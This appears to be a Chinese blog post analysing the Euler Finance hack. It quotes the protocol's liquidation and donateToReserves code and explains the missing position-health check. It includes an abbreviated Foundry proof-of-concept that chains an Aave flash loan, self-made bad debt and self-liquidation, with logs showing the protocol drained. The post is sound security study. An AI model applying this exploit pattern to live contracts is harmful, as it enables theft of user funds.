💡 EulerFinance攻击事件分析 - Loan Protocol、资不抵债问题、缺乏持仓健康检查
<!--StartFragment-->
Euler Finance 是一个借贷协议,我们首先关注以下的几个概念:
质押与借贷
流动性参数
攻击者通过闪电贷借出资金,通过将持有资金捐赠给储备地址导致触发软清算(捐赠后未对捐赠账户进行检查),攻击者又作为清算人的角色,将烂账以更低的价格清算。
此次造成攻击的原因是,Euler Finance 缺乏对用户持仓健康状况的检查机制,即缺乏对用户负债与资产比例的监控。
攻击基本信息
@KeyInfo - Total Lost : $ ~200M
Attack Tx(6笔):
https://etherscan.io/tx/0xc310a0affe2169d1f6feec1c63dbc7f7c62a887fa48795d327d4d2da2d6b111d
https://etherscan.io/tx/0x71a908be0bef6174bccc3d493becdfd28395d78898e355d451cb52f7bac38617
https://etherscan.io/tx/0x62bd3d31a7b75c098ccf28bc4d4af8c4a191b4b9e451fab4232258079e8b18c4
https://etherscan.io/tx/0x465a6780145f1efe3ab52f94c006065575712d2003d83d85481f3d110ed131d9
https://etherscan.io/tx/0x3097830e9921e4063d334acb82f6a79374f76f0b1a8f857e89b89bc58df1f311
https://etherscan.io/tx/0x47ac3527d02e6b9631c77fad1cdee7bfa77a8a7bfd4880dccbda5146ace4088f
Attacker Address1(EOA): 0x5f259d0b76665c337c6104145894f4d1d2758b8c
Attacker Address2(EOA): 0xb2698c2d99ad2c302a95a8db26b08d17a77cedd4
Attack Contract Address1: 0xebc29199c817dc47ba12e3f86102564d640cbf99
Attack Contract Address2: 0x036cec1a199234fC02f72d29e596a09440825f1C
Vulnerable Address:
如上图我们可以看见,
在正式介绍攻击原理之前,我们需要先了解 Euler Finance 借贷协议的运作机制。
Euler 是一个类似于 Compound 或 Aave 的借贷平台。eToken 代表资产权,dToken 代表债务
首先关注清算函数liquidate
function liquidate(address violator, address underlying, address collateral, uint repay, uint minYield) external nonReentrant {
// 确保违规者的流动性状态没有被延迟。
require(accountLookup[violator].deferLiquidityStatus == DEFERLIQUIDITY__NONE, "e/liq/violator-liquidity-deferred");
// 获取清算人地址
address liquidator = unpackTrailingParamMsgSender();
emit RequestLiquidate(liquidator, violator, underlying, collateral, repay, minYield);
// 更新平均流动性
updateAverageLiquidity(liquidator);
updateAverageLiquidity(violator);
// 初始化一个本地结构体 LiquidationLocals 来保存清算参数
LiquidationLocals memory liqLocs;
liqLocs.liquidator = liquidator;
liqLocs.violator = violator; // 可能存在抵押违规的账户地址
liqLocs.underlying = underlying;
liqLocs.collateral = collateral;
// 计算清算机会
computeLiqOpp(liqLocs);
// 根据计算的参数、偿还数量和最小收益执行清算操作
executeLiquidation(liqLocs, repay, minYield);
}
function computeLiqOpp(LiquidationLocals memory liqLocs) private {
...
// 获取账户资产权以及债务情况
(uint collateralValue, uint liabilityValue) = getAccountLiquidity(liqLocs.violator);
// 检查流动性和健康评分
if (liabilityValue == 0) {
liqOpp.healthScore = type(uint).max;
return; // no violation
}
liqOpp.healthScore = collateralValue * 1e18 / liabilityValue;
if (collateralValue >= liabilityValue) {
return; // no violation
}
...
}
我们可以看到只需要清算人的持仓健康度不足就能被任意账户清算。
一个合格的借贷协议需要在每个关键时刻对用户持仓健康度的检查,不然可能会出现用户自行爆仓,又进行自我清算的情况,正如此次攻击事件一样。
根据分析此次攻击交易函数调用,以及审查相关合约,Euler 出现的问题在函数donateToReserves
,该函数实现了用户将资产余额捐赠给储备金的功能,通过检查和更新账户余额、触发相关事件以及记录资产状态,确保捐赠过程的安全性和透明度。
logic contract address: https://etherscan.io/address/0xbb0d4bb654a21054af95456a3b29c63e8d1f4c0a#code
function donateToReserves(uint subAccountId, uint amount) external nonReentrant {
// 从 CALLER() 函数获取相关信息,包括底层资产地址、资产存储、代理地址和消息发送者
(address underlying, AssetStorage storage assetStorage, address proxyAddr, address msgSender) = CALLER();
// 获取子账户地址
address account = getSubAccount(msgSender, subAccountId);
// 更新账户的平均流动性
updateAverageLiquidity(account);
emit RequestDonate(account, amount);
AssetCache memory assetCache = loadAssetCache(underlying, assetStorage);
// 获取用户原始余额
uint origBalance = assetStorage.users[account].balance;
uint newBalance;
// 如果捐赠金额为 uint 最大值,则捐赠全部余额
if (amount == type(uint).max) {
amount = origBalance;
newBalance = 0;
} else {
// 检查用户余额是否足够捐赠
require(origBalance >= amount, "e/insufficient-balance");
// 计算新的余额
unchecked { newBalance = origBalance - amount; }
}
// 更新用户余额
assetStorage.users[account].balance = encodeAmount(newBalance);
// 更新储备金余额
assetStorage.reserveBalance = assetCache.reserveBalance = encodeSmallAmount(assetCache.reserveBalance + amount);
emit Withdraw(assetCache.underlying, account, amount);
emit ViaProxy_Transfer(proxyAddr, account, address(0), amount);
// 记录资产状态
logAssetStatus(assetCache);
}
乍一看,似乎整体流程并没有太大问题,但是仔细分析,我们可以发现
donateToReserves
函数没有检查捐赠者是否处于清算状态,导致直接触发软清算机制,也就是未进行持仓健康度检查这为攻击者创造了有利可图的套利机会(创建资不抵债的状况,通过其他合约实现自我清算),使他们可以吸走大量抵押品,而无需抵押品或偿还债务。
完整的PoC在这里。 重要部分如下:
contract EulerFinancePoC is Test { // 模拟攻击
...
function testExploit_Euler() public {
...
console.log("-------------------------------- Start Exploit ----------------------------------");
AaveLendingPool.flashLoan(address(this), assets, amounts, modes, address(this), params, 0);
console.log("-------------------------------- After Exploit ----------------------------------");
uint256 eulerTokenAfter = DAI.balanceOf(EulerProtocol);
emit log_named_decimal_uint ("DAI.balanceOf(EulerProtocol):", eulerTokenAfter, 18);
emit log_named_decimal_uint ("EulerProtocol loss:", eulerToken - eulerTokenAfter, 18);
}
function executeOperation(
address[] calldata assets,
uint256[] calldata amounts,
uint256[] calldata premiums,
address initiator,
bytes calldata params
) external returns (bool) {
DAI.approve(address(AaveLendingPool), type(uint256).max);
borrowContract = new Borrow();
liquidatorContract = new liquidator();
DAI.transfer(address(borrowContract), DAI.balanceOf(address(this)));
// 制造烂账
borrowContract.attack_step1(address(borrowContract), address(liquidatorContract));
// 自我清算
liquidatorContract.attack_step2(address(borrowContract), address(liquidatorContract));
return true;
}
}
运行结果如下:
[PASS] testExploit_Euler() (gas: 1799717)
Logs:
--------------------------------- Pre-work -------------------------------------
Tx: 0xc310a0affe2169d1f6feec1c63dbc7f7c62a887fa48795d327d4d2da2d6b111d
DAI.balanceOf(EulerProtocol):: 8904507.348306697267428294
-------------------------------- Start Exploit -----------------------------------
First borrow:
eDAI balance:: 215249368.558920172305404396
dDAI balance:: 200000000.000000000000000000
Second borrow:
eDAI balance:: 410930612.703393056219408393
dDAI balance:: 390000000.000000000000000000
After donate:
eDAI balance: 310930612.703393056219408393
dDAI balance: 390000000.000000000000000000
-------------------------------- After Exploit ----------------------------------
DAI.balanceOf(EulerProtocol): 0.000000000000000000
EulerProtocol loss: 8904507.348306697267428294
<!--EndFragment-->
如果觉得我的文章对您有用,请随意打赏。你的支持将鼓励我继续创作!